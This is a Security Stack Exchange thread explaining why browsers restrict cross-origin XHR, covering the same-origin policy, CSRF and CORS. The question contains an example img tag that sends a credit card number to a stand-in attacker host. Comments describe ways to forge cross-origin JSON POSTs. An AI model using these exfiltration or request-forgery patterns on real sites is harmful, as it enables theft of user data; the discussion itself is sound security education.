Tell me more ×
IT Security Stack Exchange is a question and answer site for IT security professionals. It's 100% free, no registration required.

I get that I don't want a page loaded from stackoverflow.com to be able to request gmail.com on my behalf and read my email--but this seems to be simply a cookie issue.

Since JSONP bypasses same-origin entirely, I want to know why, instead of making XMLHTTPRequest conform to same-origin, the browser doesn't just apply same-origin to cookies. In other words, if the page was loaded from stackoverflow.com, the browser will only send cookies to XHRs to stackoverflow.com. An XHR to Facebook would be prevented from sending the user's cookies and yield the logged-out view of Facebook.

At first I was thinking it's just an "extra layer" of security, "just in case" somebody has compromised one site already by putting in a script that ajaxes your password/bank account number out to "malicioushacker.ru". However since you could use JSONP in that case, or even just make an <img src="http://malicious.example/steal?creditcard=1234123412341234"> tag, this isn't what's being prevented.

share|improve this question

migrated from stackoverflow.com Mar 23 '12 at 17:00

2 Answers

Requests that can cause "side-effects" should only be done as POSTs. Restricting XHRs to the same domain stops JSON POST actions being carried out other than on the domain of the site that you are on, which can help reduce CSRF vulnerabilities.

It won't help in your example where the compromised site can send data to another site using <img src="www.example.com/?passowrd=1234" /> but it is figured if one site has been compromised, it could simplly be logging passwords server-side anyway (yes probably technically harder, but not impossible).

As you say, most JSON POST requests could probably be stopped by making the browser withhold cookies from a cross-domain XHR, but this assumes that the 3rd party domain is authenticating users using a cookie based mechanism. If they are not, this attack would succeed. There is the argument that the 3rd party domain could use GET for JSON requests, but they are less likely to accidentally implement this.

share|improve this answer
@D.W., Does any browser support JSON encoding for form based POSTs? – Hendrik Brummermann Mar 24 '12 at 0:16
@HendrikBrummermann, I don't know, but I would not rely upon it being impossible. It's a very fragile area. Examples: (1) Firefox and IE allow Javascript to create and submit a form with ENCTYPE=text/plain and almost arbitrary contents, so you can send a POST with a JSON body (but not application/json MIME type). – D.W. Mar 24 '12 at 4:57
(2) I think that older versions of Flash allowed a Flash applet to submit a cross-origin POST with an arbitrary MIME content type and body. If this is correct, it would provide a way that (for older versions of Flash) could be used to send a POST with a JSON-encoded body. I have not verified this. And I'm pretty certain this is fixed in modern versions of Flash player. – D.W. Mar 24 '12 at 5:01
(3) On IE6, it is possible to inject newlines into some header values. Consequently, I think that on IE6, if you're accessing the web through a proxy it may be possible to send a cross-origin POST with an arbitrary MIME content type and body, by inserting newlines and extra stuff to create the appearance of a second HTTP request (I don't know whether it's possible to arrange that browser cookies be attached to the fake POST request). I have not verified this conjecture. – D.W. Mar 24 '12 at 5:09
In summary, I'm not sure you can rely upon browsers to restrict the contents of POSTs. It's "there be dragons" territory. I think you can rely upon browsers to not let Javascript view the response to a cross-origin request, but I'm not sure you can count on them to prevent sending cross-origin POSTS or to limit their contents (or, at least, I'm not sure exactly what restrictions you can count on to be enforced). Bonus comment: Restricting XHRs is not an effective defense against CSRF. To reliably stop CSRF, you must use CSRF tokens, unguessable URLs, or similar defenses. – D.W. Mar 24 '12 at 5:16
show 1 more comment

Your premise is wrong. Script tags and JSON don't bypass the same-origin policy.

The same-origin policy says that evil.com should not be able to read the responses for arbitrary resources on victim.com. Note that Javascript from evil.com can trigger nearly arbitrary requests to be sent to victim.com (e.g., by creating an IFRAME pointing to http://victim.com/whatever.html). However, the Javascript from evil.com cannot read the contents of that document: i.e., it cannot read the response to that request.

Now perhaps what you are thinking of is that evil.com can ask the browser to load arbitrary code from anywhere on victim.com and then execute it with all of evil.com's permissions. That's not a bypass of the same-origin policy. (Note also that it tends to be a security risk, for the party who is loading Javascript from third-party sites.)

XHRs have to be restricted, because XHR allows Javascript to not only trigger a request to be sent, but also allows Javascript to read the response. The same-origin policy forbids that, for cross-origin requests. The same-origin policy says that reading the response is something that should only be allowed if the request is to the same origin as the origin of the Javascript code. Thus, Javascript from evil.com is allowed to issue a XHR to http://evil.com/doit and read the response, but it is not allowed to issue a XHR to http://victim.com/doit and read the response.

If you want to issue cross-origin XHRs, then the target domain will need to authorize you to send it cross-origin XHRs. Look into CORS for ways to do that.

share|improve this answer
"`evil.com` can ask the browser to load arbitrary code from anywhere on victim.com and execute it, with all of evil.com's permissions. That's not a bypass of the same-origin policy." Yes it is. The code http://victim.com/script is downloaded with the permissions (cookies, etc.) of the user on http://victim.com, not the permissions on http://evil.com as it logically should. – curiousguy Jul 13 '12 at 1:46
(...) as described here"this cross-domain payload" – curiousguy Jul 13 '12 at 1:57
@curiousguy, no it isn't. It might violate what you think the same-origin policy ought to enforces, but it does not violate what the same-origin policy (as implemented in browsers) actually enforces. The phrase "same-origin policy" is a term of art; it means something very specific (not, whatever you wish browsers would do). See the Browser security handbook, especially the sections on Browser-side Javascript and Same-origin policy. – D.W. Jul 13 '12 at 18:18
@curiousguy, A source of possible confusion is the difference between permissions used when downloading content vs when executing it. Suppose evil.com includes SCRIPT SRC=victim.com/stuff.js in its page. Then the code from victim.com is downloaded with victim.com's cookies, but it is executed with evil.com's permissions (it is in evil.com's security context, running with ability to access everything evil.com can). This distinction is important. Make sure to keep 'em straight, as they're different and have different security implications! – D.W. Jul 13 '12 at 18:22
1  
@curiousguy "[this] is an obvious same-origin violation" - No, actually, it isn't. I apologize for contradicting you, but the simple fact is: it isn't. As I already said, the same-origin policy is a technical term that already has an accepted meaning. I get that you don't like that meaning and wish it meant something different. I feel your pain. But, you know what? Under the accepted meaning of the term, the behavior of SCRIPT SRC=anotherdomain.com/foo.js is not a violation of the same-origin policy. If you want to work in this area, you need to learn the terminology. – D.W. Jul 26 '12 at 6:22
show 5 more comments

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.